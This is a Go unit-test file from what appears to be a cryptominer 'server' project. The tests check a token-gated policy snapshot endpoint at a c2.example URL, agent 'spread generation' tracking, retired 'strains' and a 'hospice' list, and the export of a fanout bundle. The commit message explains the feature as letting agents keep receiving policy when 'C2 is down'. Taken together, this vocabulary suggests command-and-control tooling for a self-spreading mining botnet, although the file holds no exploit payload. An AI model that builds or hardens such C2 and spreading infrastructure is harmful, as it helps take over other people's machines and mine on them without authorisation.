Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.
127 lines
3.6 KiB
Go
127 lines
3.6 KiB
Go
package api
|
|
|
|
import (
|
|
"bytes"
|
|
"encoding/json"
|
|
"net/http"
|
|
"net/http/httptest"
|
|
"path/filepath"
|
|
"testing"
|
|
"time"
|
|
|
|
dbpkg "crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/models"
|
|
|
|
"github.com/go-chi/chi/v5"
|
|
)
|
|
|
|
func TestBuildPolicySnapshotGenesisAndHospice(t *testing.T) {
|
|
d, err := dbpkg.New(t.TempDir())
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
defer d.Close()
|
|
now := time.Now().UTC()
|
|
if err := d.UpsertAgent(&models.Agent{
|
|
ID: "a1", Name: "A", IP: "10.0.1.1", Status: "online", LastSeen: now, SpreadGeneration: 3,
|
|
}); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if err := d.UpsertAgent(&models.Agent{
|
|
ID: "a2", Name: "B", IP: "10.0.2.1", Status: "online", LastSeen: now, SpreadGeneration: 7,
|
|
}); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if err := d.RetireStrain("dead-strain", "test", "unit", `{}`); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
snap, err := BuildPolicySnapshot(d, nil, PolicyFanoutConfig{
|
|
Token: "tok123",
|
|
PublicBaseURL: func() string { return "https://c2.example" },
|
|
})
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if snap.GenesisVersion != 7 {
|
|
t.Fatalf("genesis_version=%d want 7", snap.GenesisVersion)
|
|
}
|
|
if len(snap.HospiceList) == 0 {
|
|
t.Fatal("expected hospice list")
|
|
}
|
|
if snap.PolicyPollURL != "https://c2.example/api/v1/public/policy-snapshot/tok123" {
|
|
t.Fatalf("poll url=%q", snap.PolicyPollURL)
|
|
}
|
|
}
|
|
|
|
func TestPublicPolicySnapshotEndpoint(t *testing.T) {
|
|
d, err := dbpkg.New(t.TempDir())
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
defer d.Close()
|
|
h := NewPublicHandler(d, t.TempDir(), func() PublicBuildsConfig { return PublicBuildsConfig{} })
|
|
h.BindPolicySnapshot(
|
|
func() (PolicySnapshot, error) {
|
|
return PolicySnapshot{GenesisVersion: 2, HospiceList: []string{"s1"}}, nil
|
|
},
|
|
func() string { return "secret-token" },
|
|
)
|
|
r := chi.NewRouter()
|
|
r.Get("/public/policy-snapshot/{token}", h.PolicySnapshot)
|
|
req := httptest.NewRequest(http.MethodGet, "/public/policy-snapshot/wrong", nil)
|
|
rec := httptest.NewRecorder()
|
|
r.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusNotFound {
|
|
t.Fatalf("wrong token status=%d", rec.Code)
|
|
}
|
|
req = httptest.NewRequest(http.MethodGet, "/public/policy-snapshot/secret-token", nil)
|
|
rec = httptest.NewRecorder()
|
|
r.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
var body PolicySnapshot
|
|
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if body.GenesisVersion != 2 || len(body.HospiceList) != 1 {
|
|
t.Fatalf("body=%+v", body)
|
|
}
|
|
}
|
|
|
|
func TestBuildFanoutBundleJSON(t *testing.T) {
|
|
snap := PolicySnapshot{GenesisVersion: 1, PolicyPollURL: "https://x/poll"}
|
|
raw, err := buildFanoutBundleJSON(PolicyFanoutConfig{Token: "abc"}, snap)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
var doc map[string]interface{}
|
|
if err := json.Unmarshal(raw, &doc); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if doc["token"] != "abc" {
|
|
t.Fatalf("token=%v", doc["token"])
|
|
}
|
|
}
|
|
|
|
func TestExportPolicyFanoutZIP(t *testing.T) {
|
|
d, err := dbpkg.New(t.TempDir())
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
defer d.Close()
|
|
sh := NewSpreadHandler(d, t.TempDir(), filepath.Join("..", "..", ".."), NewWSHub(d))
|
|
sh.BindPolicyFanout(nil, func() PolicyFanoutConfig {
|
|
return PolicyFanoutConfig{Token: "t", PublicBaseURL: func() string { return "http://127.0.0.1:8989" }}
|
|
})
|
|
req := httptest.NewRequest(http.MethodPost, "/", bytes.NewReader([]byte(`{"webhook_url":"https://relay.example/hook"}`)))
|
|
rec := httptest.NewRecorder()
|
|
sh.ExportPolicyFanout(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
if ct := rec.Header().Get("Content-Type"); ct != "application/zip" {
|
|
t.Fatalf("content-type=%q", ct)
|
|
}
|
|
}
|